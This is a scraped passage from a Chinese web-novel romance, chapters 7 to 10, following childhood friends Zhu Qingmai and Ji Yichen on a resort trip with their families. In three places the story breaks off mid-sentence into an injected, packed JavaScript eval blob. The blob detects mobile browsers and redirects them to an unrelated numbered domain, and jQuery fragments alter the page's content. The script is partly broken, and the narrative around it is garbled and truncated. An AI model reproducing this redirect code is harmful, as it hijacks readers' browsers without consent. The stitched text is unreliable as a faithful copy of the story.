《爱意归满》 7. 第七章 “……” 祝清麦没再跟他拌嘴。 外面太阳很大。 看那晃眼的日光，祝清麦回寝室取了帽子。 出楼门前又偷瞄一眼，确认纪以辰走了。祝清麦戴好帽子，把跟钟冉借的一次性口罩装进包，沿着与纪以辰方向相反的那条路跑步出发。 两条路路程差不多，她只要跑快点肯定在纪以辰前面到。 果不其然，她到的时候周围一个人也没有。 祝清麦摸出包里的小圆镜整理下头发，看起来一切如常，就脸红了点，也不是大问题，应该不会露馅。 她找了处阴凉地，摘下帽子给脸扇风降温。 等纪以辰的空隙祝清麦登上企鹅，发了近期可接稿的说说。又跑去很久没登陆，几乎快要长草的微博转了一圈，回复几条小画粉的留言。 微博是她之前为了能离喜欢的画师更近一步注册的，后来也会时不时分享一些学画的成长经历和客稿，几年下来也收获了不少小画粉。 突然上线，不少可爱的小画粉都催她更新，她回复等她整理好就更新。 又跟她们闲聊了会儿退出微博。 时间已经超过导航预估的时间，祝清麦又掏出小圆镜照了照，脸色也恢复正常了，现在整个人状态非常完美。 她收起镜子，有底气催促。 ［小满：腿长哥，不是说一步抵我两步半？怎么这么久还没到？］ 又扔过去一个小猫捂嘴笑的动态表情包。 那边隔了一分钟回复。 ［劳工：到了。］ 祝清麦抬头，并没看见人。 “回头。” 祝清麦愣了下，就见本该从对面路出现的人此时正从她特意选的，相反的这条路慢悠悠靠近。 “你怎么从这边过来的？” “天热，走一半感觉有些渴，所以去商店买水。”纪以辰勾唇，“顺便消磨下时间，也怕某人压力太大。” 祝清麦：“……” 纪以辰：“毕竟跑着来的，如果再不给你超越我的机会，该受打击了。” “！” 祝清麦反应过来，“你看到了！” 纪以辰“嗯”了声，声音藏不住地笑，“祝小满，下次躲人的时候看看周围环境。” “你们宿舍楼玻璃门上有你的影子，偷感那么重，别人想不注意都难。” 祝清麦半天憋出一句，“你故意的！看到了你不喊住我。” 亏她还顶着大太阳跑了那么久。 “喊你？”纪以辰垂眼看她，“学校里我哪次喊你喊住了？” “看见我跑，喊你跑得更快。那速度，你没报名去国家队可惜了。” “……” * 从北门出来要穿过一条小街才能到马路。 小街两旁是人家，旁边停着很多辆夜晚才会露面的小餐车。 难怪每天晚上学校门口的总是准时齐齐出现。 偶尔会有几辆车进入小街。 纪以辰把她护在里面。 车辆穿行带来阵阵热浪。 祝清麦用手小幅度给自己扇风，视线时不时飘向纪以辰手里的水。 似乎才从冷饮柜里拿出不久，瓶身还带着冷气，无声散发着诱.惑。 冷饮啊！闷热天的救星！ “这瓶是凉的，你现在是病号，想都别想。”纪以辰看穿她的想法。 “我也没有很想喝。”祝清麦收回视线，小声嘟嚷句，“小气鬼。” 纪以辰取下肩上的包拉开拉链，水瓶刚拿出来就听见这么一句。 “我小气？” “那你渴着吧。”纪以辰说着就要把水塞进包里。 祝清麦赶紧双手握住他手腕，拦住他的动作，眼睛弯弯，“你听错了，我没说你。” 纪以辰挑眉，“是吗？” 祝清麦疯狂点头，“我其实是我说我自己，我是小气鬼，小气鬼说的是我。” “纪以辰是世界上最！最！最！最！最大气的人。” 纪以辰被她逗笑，松了手。 祝清麦得到水源美滋滋拧开喝了几口。 虽然水是常温的，但这种情况下，有就很不错了。 纪以辰见她拧瓶盖，“喝完了？” 祝清麦偏头看他。 纪以辰：“喝完给我，放手里拿着不嫌麻烦？” 祝清麦出门向来喜欢轻快方便，买水也会挑mini小瓶买，喝完就扔。 纪以辰买的水有她平时买的两倍大。 她低头看看，今天为了和绿色裙子搭配，身上只有一个用来放手机的钩织包。 她想了想还是把水递过去，说了声谢谢。 纪以辰接水的动作一顿，看她，“祝小满，上大学几个月学会跟我客气了。” 祝清麦：“这滴水之恩，不至于涌泉相报，说声谢谢还是应该的。” 纪以辰笑了声，水瓶抽过来扔进包里，“之前不知道是谁一天能让我去取三次快递。” “还有……”纪以辰开始细数，“是谁次次去超市买零食都拉着我让我负责拎袋。又是谁大半夜一时兴起打电话喊我陪你爬山，就为了网上一句山顶日出美适合写生？” 祝清麦眨眨眼：“……是这样吗……？” “你说呢。”纪以辰俯身过来，在她帽檐上敲了下，“那些时候怎么不见你客气？现在就一瓶水，还用得着跟我说谢谢。” “如果非要跟我客气的话，我也不介意。”纪以辰话锋一转，“口头感谢不如付费实在，看在这么多年的感情上，以前支使我的费用我就大度点不跟你收了，就从这个暑假开始算吧……” 说着纪以辰打开手机计算机，“按市场价取一件快递小件1块、中件3块、大件5块，像我这种一次取一车……” “等等。”祝清麦伸手挡住手机屏幕，“我刚刚想过了，看我们认识这么多年了，谈钱确实伤感情。” 祝清麦笑嘻嘻从他手里抽走他的手机，和她的一起装进钩织小包里。 两部手机大小一样，叠在一起刚好装下。 又转移话题，视线转到挂在他胳膊上的包，“你包里都装了什么啊，那么鼓？” 纪以辰看她，“这回又不客气了？” 祝清麦：“这个话题过去好不好！我现在收回那句谢谢，当我没说。” “还有，我这是正常关心，怕你出门背太重的包再累坏了怎么办！” “背个包就累能累坏？我少背你了？” 祝清麦：“……” “那都是几岁的事情了！”祝清麦辩驳，“五岁？不对，四岁的事情！” 纪以辰笑，“是从四岁开始背的吧。” 祝清麦从小精力就旺盛，四处跑来跑去还总闯祸，苏女士怕她太闹以后也静不下来狠下心把她扔去书法兴趣班。 她对那枯燥乏味的书法课实在没兴趣。 上课重复学习横竖撇捺。 课后作业也是练习横竖撇捺。 书法班离家又远，每次下课家里接得最晚，教书法的小老头还会格外给她开小灶盯着她写完作业。 她每次昏昏欲睡写完，又是最后一个离开。回家车上她“无聊”“一个人”哭着跟苏女士抗议一路。 哭了几次后，接她的人变成纪以辰。 那时候还没搬家，纪以辰刚上小学，放学后就早早到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16438696|185017||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口等她下课，陪她写书法作业。 但纪以辰陪她更不会好好写，她知道纪以辰纵容她，只要可怜兮兮撒个娇，写几笔证明她真会了，纪以辰就承包了她的书法作业。 写完后出去疯玩一圈，累了纪以辰就背她回兴趣班等家里人接。 哪怕后来她学画换了更远的兴趣班经常外出写生，校车会送她到小区楼下，纪以辰也会早早出来接她。 很累，不想走路的时候她背着画板，趴在纪以辰背上叽叽喳喳讲话，慢慢回家。 祝清麦回忆起往事，无言反驳，干脆闭嘴。 纪以辰从包里抽出纸，把手上水瓶上的水珠擦干，确定不冰手了，扔给她。 祝清麦：“干什么？” 纪以辰把包挂回肩上说，“给你降暑。” * 周末出行人多，到了能打车的位置，见到的几辆出租车都是满人。 祝清麦水瓶贴在脸上踮着脚东望西望。 纪以辰把她拽到偏后方，“去找凉快地方站，打到车再过来。” 祝清麦摇摇头，坚持和他一起。 好不容易看见一个有空车标识的。 纪以辰招手去拦，车半点儿没停留从两人面前经过。 祝清麦扯扯身旁人衣服，抬头看他，眼神里写满不可思议。 “那个司机刚刚是不是把空车标识牌按下去了？” 纪以辰盯着她热红的脸看了几秒，轻轻“嗯”了声算是回应。 原本两人计划直接打车去苏女士定位的地址，现在看来行不通了。 纪以辰：“坐地铁吧。” 最近的地铁口在西门，要绕路回去。 祝清麦“哦”了声蔫哒哒地低头跟他并排往前走，没了刚才的精神劲儿。 就连前面小朋友喊什么也没注意听，等她回神球已经快飞过来。 祝清麦还没反应。 纪以辰伸出胳膊从她身后绕过，按住她肩膀，把她捞进怀里。 “累了？”纪以辰伸手敲敲她帽檐，挂在肩膀的包被滑落到胳膊上。 祝清麦摇摇头，从他怀里出来，开始碎碎念“感觉因为我浪费了不少时间，绕了远路现在还要回去，白白让你跟着挨晒，要是晒黑晒伤了怎么办？爸爸妈妈那边也该等着急……” “不会。”纪以辰打断她，“他们路程比我们远，还堵在市中心。” “至于担心我挨晒这条，我觉得根本没必要，你见过男生怕晒黑的？” “不过这晒伤倒是要注意一下，你要是真过意不去。”纪以辰从包里拿出把绿色碎花太阳伞，“给我撑伞吧。” 祝清麦算算两人的身高差感觉有被冒犯到。 但毕竟是她挑的远路，心里过意不去就应了。 这种“愧疚感”只持续了一会儿，祝清麦就后悔答应撑伞。把伞塞给纪以辰，甩甩发酸的胳膊，“你自己撑，要不就晒黑吧，反正你也不怕。” 纪以辰轻扣住她后脑勺拉近两人的距离，“那我晒伤也不管了？” 祝清麦无情回复，“不管了。” “我后退一步，不撑伞也行。”纪以辰开始诱哄，“你陪我一起。” “我有帽子，晒不到我。”祝清麦去扯他手。 也不知道这人手劲怎么能这么大！ 抬头间看见伞面上的嫩黄色小碎花突然灵光一现，歪头看他，“纪以辰，你不会是自己不好意思撑这把伞吧。” 她越想越觉得真相了。 纪以辰把人拉回伞里，也没遮掩，“嗯，确实，我一男生用这么嫩的伞还是挺不好意思的。” “我好面子，所以……” “祝小满，你陪陪我。” 8. 第八章 跟纪以辰这么一闹，祝清麦突然涌起的小情绪很快就散光了。 拐进西街，路边大树枝叶繁茂抻出长长枝条高高探进学校围墙，遮出一条林荫小路。 没了刺眼日光，纪以辰收了伞。 祝清麦摸出手机解锁，兴冲冲去墙边拍照。 学校西墙特批给艺术部创作，分区域风格搞了大面积墙绘，成了热门打卡地。 入学前祝清麦就总念叨着过来看看，可真等入学了，各种事情堆积着也就把这件事忘了。 纪以辰在她不远处慢慢跟着，看她像个好奇宝宝一样四处拍拍。 偶尔后退几步拍远景，还会凑近放大屏幕认认真真拍细节，每个角度都不放过。 纪以辰下意识去摸手机，没摸到，这才想起来手机在小姑娘包里。 祝清麦拍够了，放手机时看到被压在下面的口罩抽了出来。 见四周没几个人，又把口罩放回包里，回到他身边。 听见前面有吆喊声，祝清麦抬头望过去，越看越觉得眼熟。 “纪以辰，你看那车。”祝清麦扯他衣服，纪以辰侧耳靠近。 “怎么了？” “你看那个车牌号，是不是当着我们面无情扣下空车标识飞过去的那辆？” 纪以辰抬眼看去，回忆了下点头。 司机在门口卖力揽客，“机场高铁站，有没有去机场高铁站的！差三个人儿，人够就走~” 吆喊声带着口音，是那种尾音上扬的调调。 司机转身似乎也认出两人，直直奔过来，“你俩还没打到车呢？去哪？机场高铁站走不走？15一个人儿。” 听到价格祝清麦被雷得不行，分了个眼神给唯一一个坐在车里的小可怜。 祝清麦听钟冉说过，一到开学季或者周末学生出行高峰期就会有一部分出租车司机好好的生意不做，抱着多赚钱的心理堵在机场高铁或者学校门口按人头收费，人满车才动。 甚至有的司机会根据人流量坐地起价，人多就保本少赚，人少就提价，专坑不愿意折腾的懒人。 她心里默默算了下正常距离收费。 然后觉得小可怜多少有点人傻钱多。 司机还在热情招揽。 纪以辰冷漠开口，“不坐。” 许是人少，司机耐心十足，一副好商量的口气，“看天这么热，你们半天没打到车女朋友该热坏了。现在人少，我也不等满车了，你俩上车就能走。” 见男生神情松动，司机自认为抓住了侧重点准备再接再厉说几句领人去车上。 “要不然……” “我们不走。”一道脆生生的声音插进来打断了司机的发挥。 之前司机按下空车牌的无情动作还历历在目。 更何况地铁站就在前面不远。 她才不要当冤大头。 “不走。”祝清麦又加重语气重复一遍，伸手勾住纪以辰的手拉他往前面地铁口走。 祝清麦很白，骨架小。 纪以辰眼里。 她人小小的，手也小小的，握住他无名指拉着他，走在前面。 纪以辰乖乖被她拉着走，视线不自觉下移，软软的触.感和对方手上传来的温度好像顺着指节不断传递。 心里的小人惊醒，催促他。 快！ 手握上去！ 握紧！ 掌握主动权！ 理智小人和心里的小人还没来得及打架，进地铁要过安检，祝清麦松了手去前面安检。 刷码时，祝清麦拿出手机差点儿没分清谁是谁的。 一样的手机型号，相同的透明手机壳。 也就屏保不一样，她的是疯狂动物城里的兔子警官朱迪拿画笔对着张白纸低头思考。纪以辰的屏保里白纸上多了个尼克狐尼克。 不细看很难区分。 祝清麦把手机递给纪以辰，刷码进站。 去定位方向的地铁刚好进站，祝清麦蹦跳着快步下台阶，想说运气真好。 回头见身后人低头慢慢悠悠，不知道想什么。 “纪以辰，这个时候你发什么呆啊！”等候区已经没人了，祝清麦喊他，“抓紧啊，地铁要关门了，再拖一会儿爸妈真要等我们了。” 纪以辰回神。 祝清麦顺着外出的人流返回，扣住他的手拽他，“快一点，马上关门了！” 不同刚刚，这回两人掌心紧紧相贴。 传递的温度更像一枚小小的烙铁，会烫穿皮肤，直抵心脏。 纪以辰的身体先于意识，顺从地被她牵引。 * 祝清麦拽他穿过两个车厢，幸运收获两个座位，拉着纪以辰坐下。 陈女士发来消息问他们到哪了。 他们刚从市中心堵出来正在往度假村去，让两人别着急，到了可以先登记。 接着发了预订信息和房间号。 纪以辰回复：［还在路上。］ 祝清麦偏头看他手机，想起相似锁屏，有些好奇，“这个屏保好久了，你怎么还没换掉？” 这个屏保，还是她当初吵着换的。 和纪以辰的风格大相径庭。 祝清麦记得那应该是高二那年的事，纪以辰要跟学校出省竞赛。陈女士和苏女士商议给他买手机，方便联系。 她跟纪以辰之前是没有手机的。 两家母上大人对她和纪以辰的电子设备管控极其严格，就连每天看电视的时长都有规定。 纪以辰有了手机，为了不厚此薄彼，也带了她。 只不过她的是电话手表。 对比之下，纪以辰的比她高级很多。 祝清麦觉得新鲜。 所以她总找借口跟他借手机。 次数多了，纪以辰也不纵容她了。 她撒娇软磨硬泡，最终把人磨后退一步，但也只得了一个可以给手机换主题屏保的权限。 当时她正痴迷尼克狐尼克和朱迪，受班级女生影响也成了cp粉。 换完屏保后不停感叹尼克狐好帅。 书桌前给她批英语卷的纪以辰默默吐槽了句，“幼稚。” 祝清麦捧脸反驳，“才不幼稚，看它看朱迪的眼神多宠啊，又宠又有安全感，简直是人生理想型。” ………… 后来她有了手机就没再磨他。 疯狂动物城狐狸和兔子的屏保是最后一个。 她以为纪以辰一直恨不得立刻换掉这个“幼稚”的屏保。 想到这，祝清麦戳戳他，“我记得你当时很嫌弃说我幼稚，这怎么还没换掉，难不成你是口是心非？” 纪以辰把手机锁屏，放进她的小包里，整个人懒洋洋地靠着。 “是幼稚，但是当初是谁吵着不让我换？” 祝清麦看他，“后来这不是不吵了，你也没换啊。” “哦。”纪以辰敷衍，“我嫌麻烦，懒得换。” 祝清麦：“……” 换个主题屏保能有多麻烦？ 找借口都这么敷衍。 * 度假村位置在郊区，从地铁最后一站出来还要打车走一段路。 祝清麦今天对“打车”有些抵触。 好在这次很顺利。 她和纪以辰到度假村酒店里的时候，苏女士她们四人还没到。 纪以辰拿出陈女士给的信息登记和她先办理了入住。 前台小姐姐露出标准微笑还回证件，“欢迎入住，这是你们房卡。” “谢谢。”祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“纪以辰，要不你请我去吃冰淇凌吧！”祝清麦突然抬头，似乎就等这句话，眼里亮晶晶的，哪里还有难过的模样？ 纪以辰：“？” 他愣了几秒，反应过来，气笑了，“刚才是故意的？在这等着我呢？” 祝清麦舔舔唇，刚才路过大堂她就看见餐厅里各种样式冰淇凌的图标，心痒痒的。 “故事听完确实让人心酸难过，所以急需甜品补救心情。” “而且……确实好久没吃冰淇凌了……就这么巧，突然想吃了。” 祝清麦踮脚凑近，“你知道这代表什么吗？” “代表什么？”纪以辰在她头顶揉了两下。 祝清麦拍开他手，摸出小圆镜整理发型。 “代表我和冰淇凌的缘分到了，可以牵手了。” 纪以辰移开眼，“我看你是和挨骂的缘分到了，爸妈们马上就到了，看见你这个小病未愈的病号吃冰淇凌，不骂你骂谁。” “我们快一点，偷偷地。” 纪以辰毫不犹豫地拒绝，“不去，不行。” 顿了一下，又补了一句，“就算你偷偷去偷吃了，这次我也绝对不会给你背锅的，死了这条心吧。” “那你刚刚……” “刚刚怎么了？”纪以辰从她手里抽过带“辞”字的房卡，“我刚刚想说得是可以带你出去玩。” 祝清麦试图争取，“出去玩也行，玩的时候我们可以顺便去……” “祝小满，现在是白天。”纪以辰笑，“做梦应该挑晚上。” 祝清麦还想说什么再争取下。 面前人毫不留情地利落刷卡开门关门。 留给她一个背影写着：拒绝交流。 9. 第九章 冷酷面具没戴太久。 纪以辰还是跟她去了餐厅。 原因是苏女士和陈女士分别发消息下了指令，让两人到订好的包厢里等。 路过甜品区。 祝清麦目光瞬间被桌上的彩虹冰淇凌勾住。 纪以辰慢悠悠跟在她后面，低头回了条消息。 再抬头，就见本该直线前行的小姑娘拐了方向。 纪以辰看清她伸手的位置，三步并两步过去握住小姑娘蠢蠢欲动的手。 “想干什么？” “我看这些蛋糕不错，应该很好吃。”祝清麦，挣开他，手换方向拿了旁边的芋泥蛋糕，很明显的欲盖弥彰，“我没打算拿冰淇凌的。” “但也不知道为什么，刚刚手好像突然有了思想，不听我使唤了。” “是吗？那这件事确实需要重视一下。”纪以辰眉心直跳，轻捏她后脖颈推她向前走，“不行晚点我们陪你一起去医院看看。” “看看什么毛病能导致手不听话却能精准伸去冰淇凌的位置。” “……” 进了包厢，纪以辰才松开她。 祝清麦心底“哼”了声。 特意绕桌半圈，挑了个离他远的位置坐下。 纪以辰：“……” 半块芋泥蛋糕下肚，苏女士一行人才匆匆赶来。 苏轻和陈歆刚进屋就把祝清麦围起来又抱又嘘寒问暖。 根本挤不进去的两个父亲和纪以辰并排站着，无奈笑笑。 纪父拍拍儿子肩膀，询问几句近况。 纪以辰点头，“一切都好。” 纪家父子聊完，祝庭趁机问纪以辰一些有关自家女儿的事。 那边的嘘寒问暖还在继续，明显一时半会儿停不下。 三人对视一眼默契行动。 祝父和纪父负责拉走各自老婆。 夹在中间的祝清麦终于被解救。 纪以辰顺势凑过去把人往他的方向带了带，坐在她身边。 祝庭：“都过午饭点了，孩子们都饿了，先吃饭，下午有一下午时间给你们聊。” 两家母亲这才反应过来，把菜单推给祝清麦。 点菜期间，两家母亲也少不了念叨。 女儿离家那么远，苏轻不免忧愁，“你说说，当初报志愿青北附近那么多学校可以选，偏偏选了南边的榆阳，如果不是小辰也来这个学校，说什么我也不能让小满离家这么远。这才开学几天，就瘦了这么多。” 祝清麦聚精会神地翻菜单，感慨这度假村连菜的名字取得也很好听。 她从小不少听苏轻念叨，已经养成了屏蔽技能。 “当初咱俩怎么说的，孩子大了，放手尊重他们的选择。”陈歆拍拍闺蜜的手，劝说，“再说了，我家这小子自小就喜欢围着小满转，小满的喜好说不定你这个亲妈都没有小辰知道得多。” “这确实是。”苏轻笑笑附和。 “所以咱们就放心吧。” 纪以辰从自家母亲语气里听到了自豪。 抬头望过去，陈歆递给他一个“看，还是我懂你吧”的眼神。 纪以辰勾唇，笑着回苏轻的话。 祝清麦余光扫了一圈，菜单默默翻到最后。 余光扫到身旁姑娘的动作，纪以辰快一步伸手挡住冷饮部分。 祝清麦：“……” * 这顿饭吃了很长时间。 祝父饭桌上接到电话，原本定在下周签约的合作临时有变动需要提前。 这样一来，陪伴女儿的计划就要改变。 苏轻拉着女儿的手一顿叮嘱。 陈歆也把纪以辰拽到角落谈话。 “和小满进展怎么样？” 纪以辰抿唇，不想让她知道学校里人家现在看见他都躲着跑。 “就……和以前一样。” “那就是没进展了？”陈歆恨铁不成钢，“你想办法努努力啊，本来你是最有优势的，但现在大学里优秀的男生那么多，你又不能时时在身边，小满漂亮又优秀……虽然你也不差哈。” “不对，跑题了。”陈歆拉回话题，“小满漂亮又优秀，学校这么大，谁也说不清会有多少多少隐藏情敌。” 祝父纪父接到电话，对面似乎开始催促。 陈歆拍拍他胳膊低声，语气严肃，“你也要重新审视一下，怎么发展你和小满之间的关系，我是很支持小满做我儿媳妇的。” “你别太自信了，妈不是咒你，万一你失算了，小满被别人勾走，到时候你可别找我哭。” ………… 眼看时间不能再拖了，苏轻抱抱女儿，很是不舍。 “等这次合作谈完，我们再来。”祝庭把妻女都拥进怀里。 “小满，有什么需要的就打电话跟妈妈说。”苏轻把她碎发别在而后，“妈妈知道你自立，也知道你有你为之奋斗的小事业。但你现在刚大一，妈妈不想你太累，赚的钱你自己攒着，用爸爸妈妈给你的卡，花多少都没关系，听到没？” 祝庭拍拍苏轻，“真该走了。” 苏轻跟她贴贴额头，“爸爸妈妈走了，度假村预订时是订的两天，爸妈不在，周末你跟小辰好好玩。” 苏轻一步三回头地上了车。 陈歆这边上车后降下车窗还不忘疯狂给他传递眼色。 纪以辰：“……” 车辆慢慢远行消失在视线里。 祝清麦停下挥手的动作。 “祝小满，想哭的话……”纪以辰偏头看她，往她身边靠靠，“我肩膀可以借你。” “不需要。”祝清麦没感情回复。 她还在记三碰冰淇凌被扼.杀的仇。 纪以辰想揉她头被她躲过去了。 知道她不爽，回房间的路上，纪以辰不停跟她搭话。 “我做了攻略，听说这里的汤泉不错。” “……” “我发现这里还有挺多适合写生的地方，我陪你去怎么样？” “……” 祝清麦还是不理。 到了房间门口，她本想学纪以辰利落地刷卡开门，也留一个帅气的背影。 但房卡位置没放对，刷第二次门锁“滴滴”两声才开。 进门，半分眼神都没分他，转身就要关门。 纪以辰动作快一步撑住门，软下语气无奈妥协，“真想吃冰淇凌的话少吃一点也行。” “真的？”祝清麦表情松动一瞬，又板起脸，“但我现在看见冰淇凌就生气，不想吃了。” * 祝清麦在床上躺了一会儿，刷微信视频号有关度假村的攻略。 正刷着，钟冉发来几条消息。 ［冉冉：和叔叔阿姨玩得开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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［劳工：我们陪玩人员有温柔体贴型、傲娇毒舌型、冷酷霸总型、纯情小狗型请问你需要哪一种？］ 祝清麦捧着手机憋笑。 她能想到纪以辰一头雾水去网上四处搜类型，再绷着脸一字一字敲下来的模样。 还纯情小狗型。 看他一会儿怎么圆！ 祝清麦笑着截了图，咬着下唇回复他。 ［小满：我还没见过纯情小狗型的，要不你派一个来吧。对了，最好是嘴甜一点，有八块腹肌的。］ 纪以辰百度搜索一圈也没查明白。 返回微信打字：［不好意思，这位员工今天身体不适请假了，不能提供陪玩服务，你可以选择别的类型。］ 祝清麦笑出声，抬手揉揉快笑僵的脸。 ［小满：这么可惜？］ ［小满：那算了，这里面我就对他最感兴趣。］ ［劳工：别的类型考虑下？］ 接着又补了一句：［其他类型也有腹肌。］ 祝清麦扔过去一只兔子戴墨镜的表情包。 ［不了，其他类型我不感兴趣。］ ［TD.］ …… 沙发上，纪以辰找出贺书源的微信。 ［纪以辰：纯情小狗型的男生，是什么样？］ 10. 第十章 次日，祝清麦起个大早。 她装好手机和房卡下楼，按照视频攻略去寻找最佳观赏点，准备拍日出下的粉黛花海。 金色光束从东方水平线升起。 祝清麦举着手机在花海中穿梭找角度，拍了不少照片。 她最近正在练习风景分镜。 很喜欢用平日拍摄的照片作为素材。 清晨露水重，祝清麦花海里时间太久又沉浸，出来才发现衣服被打湿大片，贴在身上。 但能拍到梦幻美景，这都不算什么。 祝清麦低头边看照片边摘衣服上粘挂的粉絮，没注意到周围有人靠近。 “这个给你，擦擦吧。” 突然的声音和看到面前伸来的手，她被吓了一跳，后退两步，手机差点掉到地上。 面前男生没想到她反应这么大，也有些无措，“不好意思啊，吓到你了。” “但我……不是故意的，我也不是坏人。”男生焦急解释，“我路过看到你衣服湿了……所以……” 祝清麦才反应过来，目光落到纸巾上。 男生伸出的手还直直伸在半空。 “没事，谢谢你。”祝清麦定下心神接过纸巾，弯了嘴角。 “啊……没关系，不对……”沈湫不好意思挠挠头，笑笑，露出两颗小虎牙，“说错了，是不客气。” 祝清麦被他的模样逗笑。 “你……” 男孩正欲开口，被手机铃声打断。 祝清麦看男孩儿跟变脸似的瞬间垮了脸。 十月风凉，祝清麦感冒还没完全好，打了两个喷嚏，便没停留，快步回酒店。 等沈湫挂了电话回头，人已经走了。 出了度假村大门，他气呼呼上车，车门被关得巨响。 “迟到了脾气还挺冲。”沈乔翻了个白眼，“我们等你等了这么久还没不耐烦呢。” “没不耐烦你还打电话催我！”沈湫很郁闷，“你相信一见钟情吗！我刚才差点就要到仙女的微信了” 虽然他还没开口。 “都怪你打断了！” “就你？扯个麻袋都说漂亮的眼光？不敢恭维。”沈乔语气全是嘲弄。 沈湫翻出刚拍的照片，“你自己看，是不是仙女，你快看快看！” 沈乔抬眼扫了眼算给了面子。 “原来你眼光不是完全没救了啊。” “我没说错，是仙女吧，要不是你突然打电话催我，我就可以跟仙女搭话了。”沈湫遗憾极了，“说不准我现在都加上仙女微信了。” “话还没搭上，就幻想要到微信了？” “还不是因为你催的！！” “放弃吧。”沈乔合上线稿本，“你见过哪个仙女会对傻豹子感兴趣。” “……” 沈湫：“沈乔就你这张淬了毒的嘴，这次复学，也不知道谁那么倒霉成了你的室友。” * 身上沾了露水。 祝清麦简单冲了热水澡，把衣服洗净。 度假村房间里都配备了烘干机。 等衣服烘干的时间，祝清麦调开相册，准备把这两天拍摄的素材分组。 查素材发现，相册里明显少了一部分墙绘素材。 她怀疑是网络原因，刷新几次，退出相册又重进，相册里却只有在度假村拍的照片。 壁纸上的朱迪把记忆拉回到纪以辰那部和她相似的手机，猜测应该是拍摄的时候拿错了。 祝清麦找到纪以辰的微信。 ［小满：我昨天是不是用你手机拍的照片，你看看，然后发给我。］ 对面秒回一串数字。 祝清麦：“？” 对面又发来消息：［房间密码，手机我一会儿放在台桌上，你自己来传。］ 祝清麦很想吐槽他。 就传个照片而已，能费多少工夫？ 手机振动。 ［劳工：我叫了餐，过来顺便把早餐吃了。］ 肚子很合时宜的响了一声。 祝清麦默默把吐槽的话删掉，改发了个企鹅敬礼的表情包。 等衣服烘干，穿好衣服祝清麦去对门输密码。 房门锁键“滴滴”两声，祝清麦推门，悄默默探头往里望一圈，没看见纪以辰。 度假村房间的布局都大差不差。 祝清麦在靠近浴室的台桌上看到了纪以辰的手机。 屏幕上还沾了水珠，看起来是被浴室里的人临时放出来的。 进浴室手机还不离身？ 不知道的还以为手机里藏了什么宝藏呢。 想起纪以辰并没给她手机密码。 祝清麦试探地把手指按上指纹区。 果不其然，“哒”的一声，顺利解锁。 “……” 难怪她会用错手机了。 祝清麦不记得什么时候录入的指纹。 只能说很佩服纪以辰的心态，手机里存着别人的指纹竟然还不删。 小心她趁着半夜夜黑风高时，偷偷潜入他房间把他钱包里的钱全转走，让纪以辰好好体验一下社会的险恶。 想着她点开相册。 里面大部分照片都是她昨天拍的素材，只有最下面两排属于纪以辰，是她看不懂的代码截图。 最近项目旁有个图集是粉色桃心，相册名字也是简单的一个桃心。 意外这是会出现在纪以辰手机里的标识。 祝清麦看到这个标识的惊讶不亚于随手买的刮刮乐中了大奖。 第一反应是纪以辰有了喜欢的女生。 把有关她的内容单独设册。 印象里纪以辰一直就挺受欢迎的，给他写情书送礼物的女生也不少。 但从没见他收过那些东西。 高中那段明恋暗恋最盛行的时期，也没见他对谁有情感表露。 所以祝清麦很好奇，纪以辰会喜欢什么样的女生。 好奇心驱使下。 她戳了那个粉色桃心。 心脏怦怦跳动，余光还瞄着浴室门，怕纪以辰突然出来。 图集没开，弹出来一个键盘锁，要输入密码。 竟然还上了锁！ 果然有秘密！ 祝清麦抿唇，退出图集，压下好奇心选定照片，连接蓝牙输送。 * 祝清麦等了纪以辰二十分钟，图片都传送好了人也没出来。 把输送好的照片删除，祝清麦趴在台桌上，开了局贪吃蛇。 饭菜的香味儿争先恐后往身边凑，勾地她肚子响了好几声，操控贪吃蛇也总失水准。 又一次撞墙被分.食。 祝清麦起身拍拍浴室门，耳朵贴在门上，喊他，“纪以辰？” 里面水停了，纪以辰声音有些哑，“怎么了？” “啊，没事。”祝清麦说，“看你洗这么久还没出来，担心你发生意外，所以我来确认下你是不是还安全。” “……” 祝清麦：“我这么关心你，你是不是很感动。” 纪以辰：“你想说什么？” 祝清麦：“你看我这么关心你，所以作为回报，早饭我就不等你一起了。” “……” 通知目的达成，她也不管纪以辰回不回复。 * 祝清麦吃完饭收拾好餐盒扔进垃圾桶里，咬着柠檬水吸管，准备把之前剩半集的动漫看完。 浴室门终于开了，她目光下意识看向声音方向。 纪以辰胡乱擦着头发，浴袍半敞。 和她对视上。 祝清麦被柠檬茶呛了下，快速偏开头。 “你怎么不把衣服穿好再出来！你不冷吗？” 纪以辰看着她的后脑勺挑了下眉，随手扯了扯浴袍，从她身后经过，语气惊讶，“你还在啊，我还以为你吃完回去了。” 祝清麦没说话，瞄着他动作别开视线。 谁知这人拿了餐盒，绕了一圈。 不偏不倚坐到她正对面。 祝清麦：“……” 纪以辰似乎没受刚才被看了的影响，正慢悠悠地往外挑不爱吃的菜。 碎发乖顺垂在额前，多了份少年气。 祝清麦一时有些恍惚，一瞬间仿佛回到了初中。 发梢还在滴水，她眼睁睁看着那滴水珠顺着纪以辰脖颈滑入并未合拢的浴袍里。 刚才撞见的画面再次在脑海中浮现。 水珠会继续下坠。 滚过胸肌滑向紧实的腹肌再向下…… …… 后半集动漫讲了什么她也不知道。 脑海中一直循环滚动刚才看到的画面。 画面不停播动最后联想到那个神秘的桃 